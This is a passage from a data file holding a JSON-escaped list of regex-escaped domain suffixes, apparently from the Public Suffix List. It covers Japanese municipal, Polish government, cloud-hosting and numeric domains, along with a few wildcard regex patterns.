.scw\\\\.cloud\",\"sn\\\\.mynetname\\\\.net\",\"so\\\\.gov\\\\.pl\",\"sobetsu\\\\.hokkaido\\\\.jp\",\"soc\\\\.srcf\\\\.net\",\"sodegaura\\\\.chiba\\\\.jp\",\"soeda\\\\.fukuoka\\\\.jp\",\"soja\\\\.okayama\\\\.jp\",\"soka\\\\.saitama\\\\.jp\",\"soma\\\\.fukushima\\\\.jp\",\"soni\\\\.nara\\\\.jp\",\"soo\\\\.kagoshima\\\\.jp\",\"sosa\\\\.chiba\\\\.jp\",\"southafricanorth\\\\-01\\\\.azurewebsites\\\\.net\",\"southafricawest\\\\-01\\\\.azurewebsites\\\\.net\",\"southcentralus2\\\\-01\\\\.azurewebsites\\\\.net\",\"southcentralus\\\\-01\\\\.azurewebsites\\\\.net\",\"southeastasia\\\\-01\\\\.azurewebsites\\\\.net\",\"southeastus5\\\\-01\\\\.azurewebsites\\\\.net\",\"southindia\\\\-01\\\\.azurewebsites\\\\.net\",\"sowa\\\\.ibaraki\\\\.jp\",\"sp\\\\.gov\\\\.br\",\"sp\\\\.leg\\\\.br\",\"spaincentral\\\\-01\\\\.azurewebsites\\\\.net\",\"sphinx\\\\.mythic\\\\-beasts\\\\.com\",\"spock\\\\.replit\\\\.dev\",\"sr\\\\.gov\\\\.pl\",\"stage\\\\.nodeart\\\\.io\",\"staging\\\\.expo\\\\.app\",\"staging\\\\.replit\\\\.dev\",\"starostwo\\\\.gov\\\\.pl\",\"static\\\\.hf\\\\.space\",\"static\\\\.observableusercontent\\\\.com\",\"sth\\\\.ac\\\\.at\",\"storage\\\\.supabase\\\\.co\",\"storage\\\\.yandexcloud\\\\.net\",\"sue\\\\.fukuoka\\\\.jp\",\"suginami\\\\.tokyo\\\\.jp\",\"sugito\\\\.saitama\\\\.jp\",\"suifu\\\\.ibaraki\\\\.jp\",\"suita\\\\.osaka\\\\.jp\",\"sukagawa\\\\.fukushima\\\\.jp\",\"sukumo\\\\.kochi\\\\.jp\",\"sulu\\\\.replit\\\\.dev\",\"sumida\\\\.tokyo\\\\.jp\",\"sumita\\\\.iwate\\\\.jp\",\"sumomo\\\\.ne\\\\.jp\",\"sumoto\\\\.hyogo\\\\.jp\",\"sumoto\\\\.kumamoto\\\\.jp\",\"sunagawa\\\\.hokkaido\\\\.jp\",\"susaki\\\\.kochi\\\\.jp\",\"susono\\\\.shizuoka\\\\.jp\",\"suwa\\\\.nagano\\\\.jp\",\"suzaka\\\\.nagano\\\\.jp\",\"suzu\\\\.ishikawa\\\\.jp\",\"suzuka\\\\.mie\\\\.jp\",\"swedencentral\\\\-01\\\\.azurewebsites\\\\.net\",\"swedensouth\\\\-01\\\\.azurewebsites\\\\.net\",\"switzerlandnorth\\\\-01\\\\.azurewebsites\\\\.net\",\"switzerlandwest\\\\-01\\\\.azurewebsites\\\\.net\",\"t3\\\\.storage\\\\.dev\",\"t3\\\\.storageapi\\\\.dev\",\"tabayama\\\\.yamanashi\\\\.jp\",\"tabitorder\\\\.co\\\\.il\",\"tabuse\\\\.yamaguchi\\\\.jp\",\"tachiarai\\\\.fukuoka\\\\.jp\",\"tachikawa\\\\.tokyo\\\\.jp\",\"tadaoka\\\\.osaka\\\\.jp\",\"tado\\\\.mie\\\\.jp\",\"tadotsu\\\\.kagawa\\\\.jp\",\"tagajo\\\\.miyagi\\\\.jp\",\"tagami\\\\.niigata\\\\.jp\",\"tagawa\\\\.fukuoka\\\\.jp\",\"tahara\\\\.aichi\\\\.jp\",\"taiji\\\\.wakayama\\\\.jp\",\"taiki\\\\.hokkaido\\\\.jp\",\"taiki\\\\.mie\\\\.jp\",\"tainai\\\\.niigata\\\\.jp\",\"taira\\\\.toyama\\\\.jp\",\"taishi\\\\.hyogo\\\\.jp\",\"taishi\\\\.osaka\\\\.jp\",\"taishin\\\\.fukushima\\\\.jp\",\"taito\\\\.tokyo\\\\.jp\",\"taiwa\\\\.miyagi\\\\.jp\",\"taiwannorth\\\\-01\\\\.azurewebsites\\\\.net\",\"taiwannorthwest\\\\-01\\\\.azurewebsites\\\\.net\",\"tajimi\\\\.gifu\\\\.jp\",\"tajiri\\\\.osaka\\\\.jp\",\"taka\\\\.hyogo\\\\.jp\",\"takagi\\\\.nagano\\\\.jp\",\"takahagi\\\\.ibaraki\\\\.jp\",\"takahama\\\\.aichi\\\\.jp\",\"takahama\\\\.fukui\\\\.jp\",\"takaharu\\\\.miyazaki\\\\.jp\",\"takahashi\\\\.okayama\\\\.jp\",\"takahata\\\\.yamagata\\\\.jp\",\"takaishi\\\\.osaka\\\\.jp\",\"takamatsu\\\\.kagawa\\\\.jp\",\"takamori\\\\.kumamoto\\\\.jp\",\"takamori\\\\.nagano\\\\.jp\",\"takanabe\\\\.miyazaki\\\\.jp\",\"takanezawa\\\\.tochigi\\\\.jp\",\"takaoka\\\\.toyama\\\\.jp\",\"takarazuka\\\\.hyogo\\\\.jp\",\"takasago\\\\.hyogo\\\\.jp\",\"takasaki\\\\.gunma\\\\.jp\",\"takashima\\\\.shiga\\\\.jp\",\"takasu\\\\.hokkaido\\\\.jp\",\"takata\\\\.fukuoka\\\\.jp\",\"takatori\\\\.nara\\\\.jp\",\"takatsuki\\\\.osaka\\\\.jp\",\"takatsuki\\\\.shiga\\\\.jp\",\"takayama\\\\.gifu\\\\.jp\",\"takayama\\\\.gunma\\\\.jp\",\"takayama\\\\.nagano\\\\.jp\",\"takazaki\\\\.miyazaki\\\\.jp\",\"takehara\\\\.hiroshima\\\\.jp\",\"taketa\\\\.oita\\\\.jp\",\"taketomi\\\\.okinawa\\\\.jp\",\"taki\\\\.mie\\\\.jp\",\"takikawa\\\\.hokkaido\\\\.jp\",\"takino\\\\.hyogo\\\\.jp\",\"takinoue\\\\.hokkaido\\\\.jp\",\"takko\\\\.aomori\\\\.jp\",\"tako\\\\.chiba\\\\.jp\",\"taku\\\\.saga\\\\.jp\",\"tama\\\\.tokyo\\\\.jp\",\"tamakawa\\\\.fukushima\\\\.jp\",\"tamaki\\\\.mie\\\\.jp\",\"tamamura\\\\.gunma\\\\.jp\",\"tamano\\\\.okayama\\\\.jp\",\"tamatsukuri\\\\.ibaraki\\\\.jp\",\"tamayu\\\\.shimane\\\\.jp\",\"tamba\\\\.hyogo\\\\.jp\",\"tanabe\\\\.kyoto\\\\.jp\",\"tanabe\\\\.wakayama\\\\.jp\",\"tanagura\\\\.fukushima\\\\.jp\",\"tanohata\\\\.iwate\\\\.jp\",\"tara\\\\.saga\\\\.jp\",\"tarama\\\\.okinawa\\\\.jp\",\"tarpit\\\\.replit\\\\.dev\",\"tarui\\\\.gifu\\\\.jp\",\"tarumizu\\\\.kagoshima\\\\.jp\",\"tas\\\\.edu\\\\.au\",\"tas\\\\.gov\\\\.au\",\"tatebayashi\\\\.gunma\\\\.jp\",\"tateshina\\\\.nagano\\\\.jp\",\"tateyama\\\\.chiba\\\\.jp\",\"tateyama\\\\.toyama\\\\.jp\",\"tatsuno\\\\.hyogo\\\\.jp\",\"tatsuno\\\\.nagano\\\\.jp\",\"tawaramoto\\\\.nara\\\\.jp\",\"teams\\\\.replit\\\\.dev\",\"tec\\\\.mi\\\\.us\",\"tendo\\\\.yamagata\\\\.jp\",\"tenei\\\\.fukushima\\\\.jp\",\"tenkawa\\\\.nara\\\\.jp\",\"tenri\\\\.nara\\\\.jp\",\"teshikaga\\\\.hokkaido\\\\.jp\",\"tn\\\\.oxa\\\\.cloud\",\"to\\\\.gov\\\\.br\",\"to\\\\.leg\\\\.br\",\"toba\\\\.mie\\\\.jp\",\"tobe\\\\.ehime\\\\.jp\",\"tobetsu\\\\.hokkaido\\\\.jp\",\"tobishima\\\\.aichi\\\\.jp\",\"tochigi\\\\.tochigi\\\\.jp\",\"tochio\\\\.niigata\\\\.jp\",\"toda\\\\.saitama\\\\.jp\",\"toei\\\\.aichi\\\\.jp\",\"toga\\\\.toyama\\\\.jp\",\"togakushi\\\\.nagano\\\\.jp\",\"togane\\\\.chiba\\\\.jp\",\"togitsu\\\\.nagasaki\\\\.jp\",\"togo\\\\.aichi\\\\.jp\",\"togura\\\\.nagano\\\\.jp\",\"tohma\\\\.hokkaido\\\\.jp\",\"tohnosho\\\\.chiba\\\\.jp\",\"toho\\\\.fukuoka\\\\.jp\",\"tokai\\\\.aichi\\\\.jp\",\"tokai\\\\.ibaraki\\\\.jp\",\"tokamachi\\\\.niigata\\\\.jp\",\"tokashiki\\\\.okinawa\\\\.jp\",\"toki\\\\.gifu\\\\.jp\",\"tokigawa\\\\.saitama\\\\.jp\",\"tokoname\\\\.aichi\\\\.jp\",\"tokorozawa\\\\.saitama\\\\.jp\",\"tokushima\\\\.tokushima\\\\.jp\",\"tokuyama\\\\.yamaguchi\\\\.jp\",\"tomakomai\\\\.hokkaido\\\\.jp\",\"tomari\\\\.hokkaido\\\\.jp\",\"tome\\\\.miyagi\\\\.jp\",\"tomi\\\\.nagano\\\\.jp\",\"tomigusuku\\\\.okinawa\\\\.jp\",\"tomika\\\\.gifu\\\\.jp\",\"tomioka\\\\.gunma\\\\.jp\",\"tomisato\\\\.chiba\\\\.jp\",\"tomiya\\\\.miyagi\\\\.jp\",\"tomobe\\\\.ibaraki\\\\.jp\",\"tonaki\\\\.okinawa\\\\.jp\",\"tonami\\\\.toyama\\\\.jp\",\"tondabayashi\\\\.osaka\\\\.jp\",\"tone\\\\.ibaraki\\\\.jp\",\"tono\\\\.iwate\\\\.jp\",\"tonosho\\\\.kagawa\\\\.jp\",\"toon\\\\.ehime\\\\.jp\",\"topaz\\\\.ne\\\\.jp\",\"torahime\\\\.shiga\\\\.jp\",\"toride\\\\.ibaraki\\\\.jp\",\"tosa\\\\.kochi\\\\.jp\",\"tosashimizu\\\\.kochi\\\\.jp\",\"toshima\\\\.tokyo\\\\.jp\",\"tosu\\\\.saga\\\\.jp\",\"tottori\\\\.tottori\\\\.jp\",\"towada\\\\.aomori\\\\.jp\",\"toya\\\\.hokkaido\\\\.jp\",\"toyako\\\\.hokkaido\\\\.jp\",\"toyama\\\\.toyama\\\\.jp\",\"toyo\\\\.kochi\\\\.jp\",\"toyoake\\\\.aichi\\\\.jp\",\"toyohashi\\\\.aichi\\\\.jp\",\"toyokawa\\\\.aichi\\\\.jp\",\"toyonaka\\\\.osaka\\\\.jp\",\"toyone\\\\.aichi\\\\.jp\",\"toyono\\\\.osaka\\\\.jp\",\"toyooka\\\\.hyogo\\\\.jp\",\"toyosato\\\\.shiga\\\\.jp\",\"toyota\\\\.aichi\\\\.jp\",\"toyota\\\\.yamaguchi\\\\.jp\",\"toyotomi\\\\.hokkaido\\\\.jp\",\"toyotsu\\\\.fukuoka\\\\.jp\",\"toyoura\\\\.hokkaido\\\\.jp\",\"tozawa\\\\.yamagata\\\\.jp\",\"tr\\\\.eu\\\\.org\",\"tsu\\\\.mie\\\\.jp\",\"tsubame\\\\.niigata\\\\.jp\",\"tsubata\\\\.ishikawa\\\\.jp\",\"tsubetsu\\\\.hokkaido\\\\.jp\",\"tsuchiura\\\\.ibaraki\\\\.jp\",\"tsuga\\\\.tochigi\\\\.jp\",\"tsugaru\\\\.aomori\\\\.jp\",\"tsuiki\\\\.fukuoka\\\\.jp\",\"tsukigata\\\\.hokkaido\\\\.jp\",\"tsukiyono\\\\.gunma\\\\.jp\",\"tsukuba\\\\.ibaraki\\\\.jp\",\"tsukui\\\\.kanagawa\\\\.jp\",\"tsukumi\\\\.oita\\\\.jp\",\"tsumagoi\\\\.gunma\\\\.jp\",\"tsunan\\\\.niigata\\\\.jp\",\"tsuno\\\\.kochi\\\\.jp\",\"tsuno\\\\.miyazaki\\\\.jp\",\"tsuru\\\\.yamanashi\\\\.jp\",\"tsuruga\\\\.fukui\\\\.jp\",\"tsurugashima\\\\.saitama\\\\.jp\",\"tsurugi\\\\.ishikawa\\\\.jp\",\"tsuruoka\\\\.yamagata\\\\.jp\",\"tsuruta\\\\.aomori\\\\.jp\",\"tsushima\\\\.aichi\\\\.jp\",\"tsushima\\\\.nagasaki\\\\.jp\",\"tsuwano\\\\.shimane\\\\.jp\",\"tsuyama\\\\.okayama\\\\.jp\",\"tucker\\\\.replit\\\\.dev\",\"u\\\\.channelsdvr\\\\.net\",\"uaecentral\\\\-01\\\\.azurewebsites\\\\.net\",\"uaenorth\\\\-01\\\\.azurewebsites\\\\.net\",\"ube\\\\.yamaguchi\\\\.jp\",\"uchihara\\\\.ibaraki\\\\.jp\",\"uchiko\\\\.ehime\\\\.jp\",\"uchinada\\\\.ishikawa\\\\.jp\",\"uchinomi\\\\.kagawa\\\\.jp\",\"uda\\\\.nara\\\\.jp\",\"udono\\\\.mie\\\\.jp\",\"ueda\\\\.nagano\\\\.jp\",\"ueno\\\\.gunma\\\\.jp\",\"uenohara\\\\.yamanashi\\\\.jp\",\"ug\\\\.gov\\\\.pl\",\"ugim\\\\.gov\\\\.pl\",\"ui\\\\.nabu\\\\.casa\",\"uji\\\\.kyoto\\\\.jp\",\"ujiie\\\\.tochigi\\\\.jp\",\"ujitawara\\\\.kyoto\\\\.jp\",\"uk\\\\.eu\\\\.org\",\"uk\\\\.oxa\\\\.cloud\",\"uk\\\\.primetel\\\\.cloud\",\"uk\\\\.reclaim\\\\.cloud\",\"uki\\\\.kumamoto\\\\.jp\",\"ukiha\\\\.fukuoka\\\\.jp\",\"uksouth\\\\-01\\\\.azurewebsites\\\\.net\",\"ukwest\\\\-01\\\\.azurewebsites\\\\.net\",\"um\\\\.gov\\\\.pl\",\"umaji\\\\.kochi\\\\.jp\",\"umi\\\\.fukuoka\\\\.jp\",\"umig\\\\.gov\\\\.pl\",\"unazuki\\\\.toyama\\\\.jp\",\"unnan\\\\.shimane\\\\.jp\",\"unzen\\\\.nagasaki\\\\.jp\",\"uonuma\\\\.niigata\\\\.jp\",\"uozu\\\\.toyama\\\\.jp\",\"up\\\\.railway\\\\.app\",\"upow\\\\.gov\\\\.pl\",\"uppo\\\\.gov\\\\.pl\",\"urakawa\\\\.hokkaido\\\\.jp\",\"urasoe\\\\.okinawa\\\\.jp\",\"urausu\\\\.hokkaido\\\\.jp\",\"urawa\\\\.saitama\\\\.jp\",\"urayasu\\\\.chiba\\\\.jp\",\"ureshino\\\\.mie\\\\.jp\",\"uruma\\\\.okinawa\\\\.jp\",\"uryu\\\\.hokkaido\\\\.jp\",\"us\\\\-1\\\\.evennode\\\\.com\",\"us\\\\-2\\\\.evennode\\\\.com\",\"us\\\\-3\\\\.evennode\\\\.com\",\"us\\\\-4\\\\.evennode\\\\.com\",\"us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"us\\\\-east\\\\-1\\\\.convex\\\\.cloud\",\"us\\\\-east\\\\-1\\\\.convex\\\\.site\",\"us\\\\-east\\\\-1\\\\.elasticbeanstalk\\\\.com\",\"us\\\\-east\\\\-2\\\\.elasticbeanstalk\\\\.com\",\"us\\\\-gov\\\\-east\\\\-1\\\\.elasticbeanstalk\\\\.com\",\"us\\\\-gov\\\\-west\\\\-1\\\\.elasticbeanstalk\\\\.com\",\"us\\\\-west\\\\-1\\\\.elasticbeanstalk\\\\.com\",\"us\\\\-west\\\\-2\\\\.elasticbeanstalk\\\\.com\",\"us\\\\.eu\\\\.org\",\"us\\\\.gov\\\\.pl\",\"us\\\\.ngrok\\\\.io\",\"us\\\\.platform\\\\.sh\",\"us\\\\.reclaim\\\\.cloud\",\"usa\\\\.oita\\\\.jp\",\"user\\\\.party\\\\.eus\",\"user\\\\.srcf\\\\.net\",\"user\\\\.webaccel\\\\.jp\",\"ushiku\\\\.ibaraki\\\\.jp\",\"usui\\\\.fukuoka\\\\.jp\",\"usuki\\\\.oita\\\\.jp\",\"utashinai\\\\.hokkaido\\\\.jp\",\"utazu\\\\.kagawa\\\\.jp\",\"uto\\\\.kumamoto\\\\.jp\",\"utsunomiya\\\\.tochigi\\\\.jp\",\"uw\\\\.gov\\\\.pl\",\"uwajima\\\\.ehime\\\\.jp\",\"uzs\\\\.gov\\\\.pl\",\"valer\\\\.hedmark\\\\.no\",\"valer\\\\.ostfold\\\\.no\",\"vic\\\\.edu\\\\.au\",\"vic\\\\.gov\\\\.au\",\"vip\\\\.jelastic\\\\.cloud\",\"vps\\\\.hrsn\\\\.net\",\"vps\\\\.mcdir\\\\.ru\",\"vs\\\\.mythic\\\\-beasts\\\\.com\",\"v\\u00e5ler\\\\.hedmark\\\\.no\",\"v\\u00e5ler\\\\.\\u00f8stfold\\\\.no\",\"wa\\\\.edu\\\\.au\",\"wa\\\\.gov\\\\.au\",\"wada\\\\.nagano\\\\.jp\",\"wajiki\\\\.tokushima\\\\.jp\",\"wajima\\\\.ishikawa\\\\.jp\",\"wakasa\\\\.fukui\\\\.jp\",\"wakasa\\\\.tottori\\\\.jp\",\"wakayama\\\\.wakayama\\\\.jp\",\"wake\\\\.okayama\\\\.jp\",\"wakkanai\\\\.hokkaido\\\\.jp\",\"wakuya\\\\.miyagi\\\\.jp\",\"wanouchi\\\\.gifu\\\\.jp\",\"warabi\\\\.saitama\\\\.jp\",\"washtenaw\\\\.mi\\\\.us\",\"wassamu\\\\.hokkaido\\\\.jp\",\"watarai\\\\.mie\\\\.jp\",\"watari\\\\.miyagi\\\\.jp\",\"waw\\\\.scw\\\\.site\",\"wazuka\\\\.kyoto\\\\.jp\",\"web\\\\.erp\\\\.dev\",\"web\\\\.val\\\\.run\",\"website\\\\.k2\\\\.cloud\",\"website\\\\.yandexcloud\\\\.net\",\"weeklylottery\\\\.org\\\\.uk\",\"wesley\\\\.replit\\\\.dev\",\"west1\\\\-us\\\\.cloudjiffy\\\\.net\",\"westcentralus\\\\-01\\\\.azurewebsites\\\\.net\",\"westeurope\\\\-01\\\\.azurewebsites\\\\.net\",\"westeurope\\\\.azurestaticapps\\\\.net\",\"westindia\\\\-01\\\\.azurewebsites\\\\.net\",\"westus2\\\\-01\\\\.azurewebsites\\\\.net\",\"westus2\\\\.azurestaticapps\\\\.net\",\"westus3\\\\-01\\\\.azurewebsites\\\\.net\",\"westus\\\\-01\\\\.azurewebsites\\\\.net\",\"wien\\\\.funkfeuer\\\\.at\",\"wif\\\\.gov\\\\.pl\",\"wiih\\\\.gov\\\\.pl\",\"winb\\\\.gov\\\\.pl\",\"wios\\\\.gov\\\\.pl\",\"witd\\\\.gov\\\\.pl\",\"with\\\\.playit\\\\.plus\",\"wiw\\\\.gov\\\\.pl\",\"wkz\\\\.gov\\\\.pl\",\"worf\\\\.replit\\\\.dev\",\"wsa\\\\.gov\\\\.pl\",\"wskr\\\\.gov\\\\.pl\",\"wsse\\\\.gov\\\\.pl\",\"wuoz\\\\.gov\\\\.pl\",\"wzmiuw\\\\.gov\\\\.pl\",\"x\\\\.mythic\\\\-beasts\\\\.com\",\"xen\\\\.prgmr\\\\.com\",\"yabu\\\\.hyogo\\\\.jp\",\"yabuki\\\\.fukushima\\\\.jp\",\"yachimata\\\\.chiba\\\\.jp\",\"yachiyo\\\\.chiba\\\\.jp\",\"yachiyo\\\\.ibaraki\\\\.jp\",\"yaese\\\\.okinawa\\\\.jp\",\"yahaba\\\\.iwate\\\\.jp\",\"yahiko\\\\.niigata\\\\.jp\",\"yaita\\\\.tochigi\\\\.jp\",\"yaizu\\\\.shizuoka\\\\.jp\",\"yakage\\\\.okayama\\\\.jp\",\"yakumo\\\\.hokkaido\\\\.jp\",\"yakumo\\\\.shimane\\\\.jp\",\"yali\\\\.mythic\\\\-beasts\\\\.com\",\"yamada\\\\.fukuoka\\\\.jp\",\"yamada\\\\.iwate\\\\.jp\",\"yamada\\\\.toyama\\\\.jp\",\"yamaga\\\\.kumamoto\\\\.jp\",\"yamagata\\\\.gifu\\\\.jp\",\"yamagata\\\\.ibaraki\\\\.jp\",\"yamagata\\\\.nagano\\\\.jp\",\"yamagata\\\\.yamagata\\\\.jp\",\"yamakita\\\\.kanagawa\\\\.jp\",\"yamamoto\\\\.miyagi\\\\.jp\",\"yamanakako\\\\.yamanashi\\\\.jp\",\"yamanashi\\\\.yamanashi\\\\.jp\",\"yamanobe\\\\.yamagata\\\\.jp\",\"yamanouchi\\\\.nagano\\\\.jp\",\"yamashina\\\\.kyoto\\\\.jp\",\"yamato\\\\.fukushima\\\\.jp\",\"yamato\\\\.kanagawa\\\\.jp\",\"yamato\\\\.kumamoto\\\\.jp\",\"yamatokoriyama\\\\.nara\\\\.jp\",\"yamatotakada\\\\.nara\\\\.jp\",\"yamatsuri\\\\.fukushima\\\\.jp\",\"yamazoe\\\\.nara\\\\.jp\",\"yame\\\\.fukuoka\\\\.jp\",\"yanagawa\\\\.fukuoka\\\\.jp\",\"yanaizu\\\\.fukushima\\\\.jp\",\"yao\\\\.osaka\\\\.jp\",\"yaotsu\\\\.gifu\\\\.jp\",\"yarrow\\\\-point\\\\.wa\\\\.us\",\"yasaka\\\\.nagano\\\\.jp\",\"yashio\\\\.saitama\\\\.jp\",\"yashiro\\\\.hyogo\\\\.jp\",\"yasu\\\\.shiga\\\\.jp\",\"yasuda\\\\.kochi\\\\.jp\",\"yasugi\\\\.shimane\\\\.jp\",\"yasuoka\\\\.nagano\\\\.jp\",\"yatomi\\\\.aichi\\\\.jp\",\"yatsuka\\\\.shimane\\\\.jp\",\"yatsushiro\\\\.kumamoto\\\\.jp\",\"yawara\\\\.ibaraki\\\\.jp\",\"yawata\\\\.kyoto\\\\.jp\",\"yawatahama\\\\.ehime\\\\.jp\",\"yazu\\\\.tottori\\\\.jp\",\"yoichi\\\\.hokkaido\\\\.jp\",\"yoita\\\\.niigata\\\\.jp\",\"yoka\\\\.hyogo\\\\.jp\",\"yokaichiba\\\\.chiba\\\\.jp\",\"yokawa\\\\.hyogo\\\\.jp\",\"yokkaichi\\\\.mie\\\\.jp\",\"yokoshibahikari\\\\.chiba\\\\.jp\",\"yokosuka\\\\.kanagawa\\\\.jp\",\"yokote\\\\.akita\\\\.jp\",\"yokoze\\\\.saitama\\\\.jp\",\"yomitan\\\\.okinawa\\\\.jp\",\"yonabaru\\\\.okinawa\\\\.jp\",\"yonago\\\\.tottori\\\\.jp\",\"yonaguni\\\\.okinawa\\\\.jp\",\"yonezawa\\\\.yamagata\\\\.jp\",\"yono\\\\.saitama\\\\.jp\",\"yorii\\\\.saitama\\\\.jp\",\"yoro\\\\.gifu\\\\.jp\",\"yoshida\\\\.saitama\\\\.jp\",\"yoshida\\\\.shizuoka\\\\.jp\",\"yoshikawa\\\\.saitama\\\\.jp\",\"yoshimi\\\\.saitama\\\\.jp\",\"yoshino\\\\.nara\\\\.jp\",\"yoshinogari\\\\.saga\\\\.jp\",\"yoshioka\\\\.gunma\\\\.jp\",\"yotsukaido\\\\.chiba\\\\.jp\",\"yuasa\\\\.wakayama\\\\.jp\",\"yufu\\\\.oita\\\\.jp\",\"yugawa\\\\.fukushima\\\\.jp\",\"yugawara\\\\.kanagawa\\\\.jp\",\"yuki\\\\.ibaraki\\\\.jp\",\"yukuhashi\\\\.fukuoka\\\\.jp\",\"yura\\\\.wakayama\\\\.jp\",\"yurihonjo\\\\.akita\\\\.jp\",\"yusuhara\\\\.kochi\\\\.jp\",\"yusui\\\\.kagoshima\\\\.jp\",\"yuu\\\\.yamaguchi\\\\.jp\",\"yuza\\\\.yamagata\\\\.jp\",\"yuzawa\\\\.niigata\\\\.jp\",\"zama\\\\.kanagawa\\\\.jp\",\"zamami\\\\.okinawa\\\\.jp\",\"zao\\\\.miyagi\\\\.jp\",\"zentsuji\\\\.kagawa\\\\.jp\",\"zp\\\\.gov\\\\.pl\",\"zpisdn\\\\.gov\\\\.pl\",\"zushi\\\\.kanagawa\\\\.jp\",\"0\\\\.bg\",\"0am\\\\.jp\",\"0g0\\\\.jp\",\"0j0\\\\.jp\",\"0t0\\\\.jp\",\"123hjemmeside\\\\.dk\",\"123hjemmeside\\\\.no\",\"123homepage\\\\.it\",\"123kotisivu\\\\.fi\",\"123minsida\\\\.se\",\"123miweb\\\\.es\",\"123paginaweb\\\\.pt\",\"123siteweb\\\\.fr\",\"123webseite\\\\.at\",\"123webseite\\\\.de\",\"123website\\\\.be\",\"123website\\\\.ch\",\"123website\\\\.lu\",\"123website\\\\.nl\",\"12hp\\\\.at\",\"12hp\\\\.ch\",\"12hp\\\\.de\",\"1337\\\\.pictures\",\"16\\\\-b\\\\.it\",\"180r\\\\.com\",\"1\\\\.bg\",\"1cooldns\\\\.com\",\"1kapp\\\\.com\",\"2000\\\\.hu\",\"2038\\\\.io\",\"2\\\\-d\\\\.jp\",\"2\\\\.bg\",\"2ix\\\\.at\",\"2ix\\\\.ch\",\"2ix\\\\.de\",\"32\\\\-b\\\\.it\",\"3\\\\.bg\",\"3utilities\\\\.com\",\"4\\\\.at\",\"4\\\\.bg\",\"4lima\\\\.at\",\"4lima\\\\.ch\",\"4lima\\\\.de\",\"4u\\\\.com\",\"5\\\\.bg\",\"5g\\\\.in\",\"611\\\\.to\",\"64\\\\-b\\\\.it\",\"6\\\\.bg\",\"6g\\\\.in\",\"7\\\\.bg\",\"8\\\\.bg\",\"9\\\\.bg\",\"9guacu\\\\.br\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ck\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.er\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.fk\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.jm\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.mm\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.np\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.pg\",\"\\\\!www\\\\.ck\",\"a2hosted\\\\.com\",\"a\\\\.bg\",\"a\\\\.se\",\"aa\\\\.no\",\"aaa\\\\.pro\",\"aarborte\\\\.no\",\"ab\\\\.ca\",\"abc\\\\.br\",\"abg\\\\.ec\",\"abkhazia\\\\.su\",\"abo\\\\.pa\",\"abr\\\\.it\",\"abrdns\\\\.com\",\"abruzzo\\\\.it\",\"ac\\\\.ae\",\"ac\\\\.at\",\"ac\\\\.bd\",\"ac\\\\.be\",\"ac\\\\.bw\",\"ac\\\\.ci\",\"ac\\\\.cn\",\"ac\\\\.cr\",\"ac\\\\.cy\",\"ac\\\\.eg\",\"ac\\\\.fj\",\"ac\\\\.gn\",\"ac\\\\.id\",\"ac\\\\.il\",\"ac\\\\.im\",\"ac\\\\.in\",\"ac\\\\.ir\",\"ac\\\\.jp\",\"ac\\\\.ke\",\"ac\\\\.kr\",\"ac\\\\.lk\",\"ac\\\\.ls\",\"ac\\\\.ma\",\"ac\\\\.me\",\"ac\\\\.ml\",\"ac\\\\.mu\",\"ac\\\\.mw\",\"ac\\\\.mz\",\"ac\\\\.ni\",\"ac\\\\.nz\",\"ac\\\\.pa\",\"ac\\\\.pk\",\"ac\\\\.pr\",\"ac\\\\.rs\",\"ac\\\\.ru\",\"ac\\\\.rw\",\"ac\\\\.se\",\"ac\\\\.sz\",\"ac\\\\.th\",\"ac\\\\.tz\",\"ac\\\\.ug\",\"ac\\\\.uk\",\"ac\\\\.vn\",\"ac\\\\.za\",\"ac\\\\.zm\",\"ac\\\\.zw\",\"aca\\\\.pro\",\"academia\\\\.bo\",\"accesscam\\\\.org\",\"accident\\\\-investigation\\\\.aero\",\"accident\\\\-prevention\\\\.aero\",\"acct\\\\.pro\",\"act\\\\.au\",\"activetrail\\\\.biz\",\"ad\\\\.jp\",\"adm\\\\.br\",\"adm\\\\.ec\",\"adobeaemcloud\\\\.com\",\"adobeaemcloud\\\\.net\",\"adobeio\\\\-static\\\\.net\",\"adobeioruntime\\\\.net\",\"adult\\\\.ht\",\"adv\\\\.br\",\"adv\\\\.mz\",\"adygeya\\\\.ru\",\"adygeya\\\\.su\",\"ae\\\\.kg\",\"ae\\\\.org\",\"aejrie\\\\.no\",\"aem\\\\.live\",\"aem\\\\.network\",\"aem\\\\.page\",\"aem\\\\.reviews\",\"aero\\\\.in\",\"aero\\\\.mv\",\"aerobatic\\\\.aero\",\"aeroclub\\\\.aero\",\"aerodrome\\\\.aero\",\"aeroport\\\\.fr\",\"afjord\\\\.no\",\"africa\\\\.bj\",\"africa\\\\.com\",\"ag\\\\.it\",\"agdenes\\\\.no\",\"agents\\\\.aero\",\"agr\\\\.br\",\"agrar\\\\.hu\",\"agri\\\\.jo\",\"agric\\\\.za\",\"agrigento\\\\.it\",\"agro\\\\.bj\",\"agro\\\\.bo\",\"agro\\\\.pl\",\"agron\\\\.ec\",\"ah\\\\.cn\",\"ah\\\\.no\",\"ai\\\\.bd\",\"ai\\\\.id\",\"ai\\\\.in\",\"ai\\\\.jo\",\"ai\\\\.kr\",\"ai\\\\.studio\",\"ai\\\\.vn\",\"aichi\\\\.jp\",\"aid\\\\.pl\",\"aip\\\\.ee\",\"air\\\\-surveillance\\\\.aero\",\"air\\\\-traffic\\\\-control\\\\.aero\",\"aircraft\\\\.aero\",\"airline\\\\.aero\",\"airport\\\\.aero\",\"airtraffic\\\\.aero\",\"aiven\\\\.app\",\"aju\\\\.br\",\"ak\\\\.us\",\"akadns\\\\.net\",\"akamai\\\\-staging\\\\.net\",\"akamai\\\\.net\",\"akamaiedge\\\\-staging\\\\.net\",\"akamaiedge\\\\.net\",\"akamaihd\\\\-staging\\\\.net\",\"akamaihd\\\\.net\",\"akamaiorigin\\\\-staging\\\\.net\",\"akamaiorigin\\\\.net\",\"akamaized\\\\-staging\\\\.net\",\"akamaized\\\\.net\",\"akita\\\\.jp\",\"aknoluokta\\\\.no\",\"akrehamn\\\\.no\",\"aktyubinsk\\\\.su\",\"al\\\\.it\",\"al\\\\.no\",\"al\\\\.us\",\